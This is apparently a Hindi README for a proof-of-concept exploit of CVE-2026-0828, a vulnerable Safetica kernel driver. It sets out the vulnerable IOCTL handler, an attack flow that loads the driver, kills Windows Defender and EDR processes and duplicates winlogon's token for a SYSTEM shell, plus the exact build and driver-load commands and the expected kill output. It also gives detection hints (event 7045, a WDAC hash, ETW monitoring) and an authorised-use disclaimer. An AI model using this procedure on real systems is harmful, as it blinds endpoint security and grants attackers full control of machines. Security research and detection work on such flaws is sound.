
CVE-2026-0828 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Safetica ProcessMonitorDriver.sys में एक BYOVD कमजोरी जो IOCTL दुरुपयोग और टोकन डुप्लिकेशन के माध्यम से PPL-संरक्षित प्रक्रियाओं के अनप्रिविलेज्ड समापन और SYSTEM तक स्थानीय विशेषाधिकार वृद्धि की अनुमति देती है।
Safetica DLP कर्नेल ड्राइवर (ProcessMonitorDriver.sys) एक अप्रमाणित IOCTL उजागर करता है जो किसी भी यूज़र-मोड कॉलर को कर्नेल संदर्भ में ZwTerminateProcess के माध्यम से मनमानी प्रक्रियाओं को समाप्त करने की अनुमति देता है, PPL (Protected Process Light) सुरक्षा को दरकिनार करते हुए।
CVSS: 8.8 (उच्च) · Type: BYOVD, LPE · Platform: Windows x64
IRP_MJ_DEVICE_CONTROL हैंडलर IOCTL 0xB822200C के लिए ZwOpenProcess को PROCESS_ALL_ACCESS (0x1FFFFF) के साथ कॉल करता है और उसके बाद इनपुट बफ़र से सीधे आपूर्ति किए गए PID का उपयोग करके ZwTerminateProcess को कॉल करता है — बिना किसी विशेषाधिकार या कॉलर सत्यापन के।
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
चूंकि कॉल कर्नेल संदर्भ में उत्पन्न होता है, PPL-संरक्षित प्रक्रियाओं (Windows Defender, EDR एजेंट) को समाप्त किया जा सकता है।
प्रभावित संस्करण: Safetica < 11.26.19 / < 10.5.150
समाधान: Safetica 11.26.19, 11.29.8, 10.5.150 — IOCTL हैंडलर में विशेषाधिकार जांच जोड़ी गई
संदर्भ: KOSEC सलाह · CERT VU#818729
Admin privileges
│
├─► Load ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► PHASE 1: Kill EDR via IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► PHASE 2: Token duplication → SYSTEM shell
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| फ़ाइल | विवरण |
|---|---|
exploit.c | पूर्ण PoC — EDR को मारता है, NT AUTHORITY\SYSTEM cmd.exe लॉन्च करता है |
Visual Studio (x64 नेटिव टूल्स कमांड प्रॉम्प्ट) की आवश्यकता है:
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
चरण 1 — ड्राइवर लोड करें (प्रशासक CMD):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
चरण 2 — PoC चलाएँ:
exploit.exe
अपेक्षित आउटपुट:
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
एक नया cmd.exe विंडो NT AUTHORITY\SYSTEM के रूप में खुलता है।
ईवेंट ID 7045 — नई कर्नेल सेवा स्थापना:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
WDAC ब्लॉकलिस्ट (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: DeviceIoControl कॉल को \\.\STProcessMonitorDriver पर मॉनिटर करें।
केवल अधिकृत सुरक्षा अनुसंधान और प्रयोगशाला उपयोग के लिए। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है।